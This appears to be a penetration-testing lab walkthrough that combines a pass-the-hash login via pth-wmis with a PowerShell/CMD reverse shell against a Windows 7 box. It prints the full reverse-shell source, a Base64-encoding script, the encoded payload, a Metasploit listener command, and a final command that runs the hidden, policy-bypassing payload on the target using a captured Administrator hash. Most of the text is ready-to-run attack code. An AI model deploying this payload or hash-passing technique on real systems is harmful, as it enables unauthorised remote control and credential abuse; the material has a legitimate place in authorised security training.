pth-wmis and Combined PowerShell and CMD Reverse Shell

Useful Background:

http://passing-the-hash.blogspot.ca/2013/04/missing-pth-tools-writeup-wmic-wmis-curl.html
http://passing-the-hash.blogspot.ca/2013/07/WMIS-PowerSploit-Shells.html

Resource:

Combined PowerShell and CMD Reverse Shell

Purpose:

Test the use of the "Combined PowerShell and CMD Reverse Shell" together with the Pass-The-Hash version of wmis (pth-wmis).

Disclaimer:

These scripts are provided for educational purposes only and for use by Ethical Hackers. Use only on systems for which you have acquired all the legally required contracts and permissions for use. It is your responsibility to determine whether you are legally permitted to use these scripts in your country and for your purposes. No warrantee or guarantees are provided.

Attacking Box:

32bit Offsec VM - Kali

Target Box:

Windows 7 Professional Service Pack 1

We Have A Hash

From another compromised box on the same network we have captured the local Administrator's hash:

Administrator:500:NO PASSWORD*********************:DC4BD458EDB0D834A5775F69453F2216:::

Rather than spend excessive time cracking it we are going to use a Pass-The-Hash attack.

Replace the NO PASSWORD**... text with a blank LM Hash:
aad3b435b51404eeaad3b435b51404ee:DC4BD458EDB0D834A5775F69453F2216

Grab The PowerShell Component:

The first thing that we need to do is to grab the PowerShell component from the "Combined PowerShell and CMD Reverse Shell"

$ps=$false;$hostip=(gci -path env:HOSTIP).value;$port=(gci -path env:EXP1).value;$client = New-Object System.Net.Sockets.TCPClient($hostip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..50000|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd=(get-childitem Env:ComSpec).value;$inArray=$data.split();$item=$inArray[0];if(($item -eq '$ps') -and ($ps -eq $false)){$ps=$true}if($item -like '?:'){$item='d:'}$myArray=@('cd','exit','d:','pwd','ls','ps','rm','cp','mv','cat');$do=$false;foreach ($i in $myArray){if($item -eq $i){$do=$true}}if($do -or $ps){$sendback=( iex $data 2>&1 |Out-String)}else{$data2='/c '+$data;$sendback = ( &$cmd $data2 2>&1 | Out-String)};if($ps){$prompt='PS ' + (pwd).Path}else{$prompt=(pwd).Path}$sendback2 = $data + $sendback + $prompt + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Base64 Encode It:

The PowerShell not only needs to be Base64 encoded but it also needs to be Unicode encoded first. Personally I like to put what I need encoded into a command.txt file and then use PowerShell to encode it:

$fileName = "command.txt"
$fileContent = get-content $fileName
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($fileContent)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText | set-content ($fileName + ".b64")

The result is in a file called command.txt.b64.
Result:

JABwAHMAPQAkAGYAYQBsAHMAZQA7ACQAaABvAHMAdABpAHAAPQAoAGcAYwBpACAALQBwAGEAdABoACAAZQBuAHYAOgBIAE8AUwBUAEkAUAApAC4AdgBhAGwAdQBlADsAJABwAG8AcgB0AD0AKABnAGMAaQAgAC0AcABhAHQAaAAgAGUAbgB2ADoARQBYAFAAMQApAC4AdgBhAGwAdQBlADsAJABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACQAaABvAHMAdABpAHAALAAkAHAAbwByAHQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA1ADAAMAAwADAAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAYwBtAGQAPQAoAGcAZQB0AC0AYwBoAGkAbABkAGkAdABlAG0AIABFAG4AdgA6AEMAbwBtAFMAcABlAGMAKQAuAHYAYQBsAHUAZQA7ACQAaQBuAEEAcgByAGEAeQA9ACQAZABhAHQAYQAuAHMAcABsAGkAdAAoACkAOwAkAGkAdABlAG0APQAkAGkAbgBBAHIAcgBhAHkAWwAwAF0AOwBpAGYAKAAoACQAaQB0AGUAbQAgAC0AZQBxACAAJwAkAHAAcwAnACkAIAAtAGEAbgBkACAAKAAkAHAAcwAgAC0AZQBxACAAJABmAGEAbABzAGUAKQApAHsAJABwAHMAPQAkAHQAcgB1AGUAfQBpAGYAKAAkAGkAdABlAG0AIAAtAGwAaQBrAGUAIAAnAD8AOgAnACkAewAkAGkAdABlAG0APQAnAGQAOgAnAH0AJABtAHkAQQByAHIAYQB5AD0AQAAoACcAYwBkACcALAAnAGUAeABpAHQAJwAsACcAZAA6ACcALAAnAHAAdwBkACcALAAnAGwAcwAnACwAJwBwAHMAJwAsACcAcgBtACcALAAnAGMAcAAnACwAJwBtAHYAJwAsACcAYwBhAHQAJwApADsAJABkAG8APQAkAGYAYQBsAHMAZQA7AGYAbwByAGUAYQBjAGgAIAAoACQAaQAgAGkAbgAgACQAbQB5AEEAcgByAGEAeQApAHsAaQBmACgAJABpAHQAZQBtACAALQBlAHEAIAAkAGkAKQB7ACQAZABvAD0AJAB0AHIAdQBlAH0AfQBpAGYAKAAkAGQAbwAgAC0AbwByACAAJABwAHMAKQB7ACQAcwBlAG4AZABiAGEAYwBrAD0AKAAgAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwATwB1AHQALQBTAHQAcgBpAG4AZwApAH0AZQBsAHMAZQB7ACQAZABhAHQAYQAyAD0AJwAvAGMAIAAnACsAJABkAGEAdABhADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKAAgACYAJABjAG0AZAAgACQAZABhAHQAYQAyACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACkAfQA7AGkAZgAoACQAcABzACkAewAkAHAAcgBvAG0AcAB0AD0AJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAfQBlAGwAcwBlAHsAJABwAHIAbwBtAHAAdAA9ACgAcAB3AGQAKQAuAFAAYQB0AGgAfQAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAZABhAHQAYQAgACsAIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAkAHAAcgBvAG0AcAB0ACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA

Set Up A Listener:

export HOSTIP=10.0.0.22;
export EXP1=5379;
msfconsole -q -x "setg LHOST $HOSTIP;use exploit/multi/handler;set ExitOnSession false;set PAYLOAD windows/x64/shell_reverse_tcp;set EXITFUNC thread;set LPORT $EXP1;exploit -j;";

Run pth-wmis:

pth-wmis -U "demo/administrator"%"aad3b435b51404eeaad3b435b51404ee:DC4BD458EDB0D834A5775F69453F2216" //10.0.0.20 'cmd.exe /c "set HOSTIP=10.0.0.22 && set EXP1=5379 && powershell -NoP -nol -NonI -W Hidden -Exec Bypass -enc JABwAHMAPQAkAGYAYQBsAHMAZQA7ACQAaABvAHMAdABpAHAAPQAoAGcAYwBpACAALQBwAGEAdABoACAAZQBuAHYAOgBIAE8AUwBUAEkAUAApAC4AdgBhAGwAdQBlADsAJABwAG8AcgB0AD0AKABnAGMAaQAgAC0AcABhAHQAaAAgAGUAbgB2ADoARQBYAFAAMQApAC4AdgBhAGwAdQBlADsAJABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACQAaABvAHMAdABpAHAALAAkAHAAbwByAHQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA1ADAAMAAwADAAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAYwBtAGQAPQAoAGcAZQB0AC0AYwBoAGkAbABkAGkAdABlAG0AIABFAG4AdgA6AEMAbwBtAFMAcABlAGMAKQAuAHYAYQBsAHUAZQA7ACQAaQBuAEEAcgByAGEAeQA9ACQAZABhAHQAYQAuAHMAcABsAGkAdAAoACkAOwAkAGkAdABlAG0APQAkAGkAbgBBAHIAcgBhAHkAWwAwAF0AOwBpAGYAKAAoACQAaQB0AGUAbQAgAC0AZQBxACAAJwAkAHAAcwAnACkAIAAtAGEAbgBkACAAKAAkAHAAcwAgAC0AZQBxACAAJABmAGEAbABzAGUAKQApAHsAJABwAHMAPQAkAHQAcgB1AGUAfQBpAGYAKAAkAGkAdABlAG0AIAAtAGwAaQBrAGUAIAAnAD8AOgAnACkAewAkAGkAdABlAG0APQAnAGQAOgAnAH0AJABtAHkAQQByAHIAYQB5AD0AQAAoACcAYwBkACcALAAnAGUAeABpAHQAJwAsACcAZAA6ACcALAAnAHAAdwBkACcALAAnAGwAcwAnACwAJwBwAHMAJwAsACcAcgBtACcALAAnAGMAcAAnACwAJwBtAHYAJwAsACcAYwBhAHQAJwApADsAJABkAG8APQAkAGYAYQBsAHMAZQA7AGYAbwByAGUAYQBjAGgAIAAoACQAaQAgAGkAbgAgACQAbQB5AEEAcgByAGEAeQApAHsAaQBmACgAJABpAHQAZQBtACAALQBlAHEAIAAkAGkAKQB7ACQAZABvAD0AJAB0AHIAdQBlAH0AfQBpAGYAKAAkAGQAbwAgAC0AbwByACAAJABwAHMAKQB7ACQAcwBlAG4AZABiAGEAYwBrAD0AKAAgAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwATwB1AHQALQBTAHQAcgBpAG4AZwApAH0AZQBsAHMAZQB7ACQAZABhAHQAYQAyAD0AJwAvAGMAIAAnACsAJABkAGEAdABhADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKAAgACYAJABjAG0AZAAgACQAZABhAHQAYQAyACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACkAfQA7AGkAZgAoACQAcABzACkAewAkAHAAcgBvAG0AcAB0AD0AJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAfQBlAGwAcwBlAHsAJABwAHIAbwBtAHAAdAA9ACgAcAB3AGQAKQAuAFAAYQB0AGgAfQAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAZABhAHQAYQAgACsAIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAkAHAAcgBvAG0AcAB0ACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA"'

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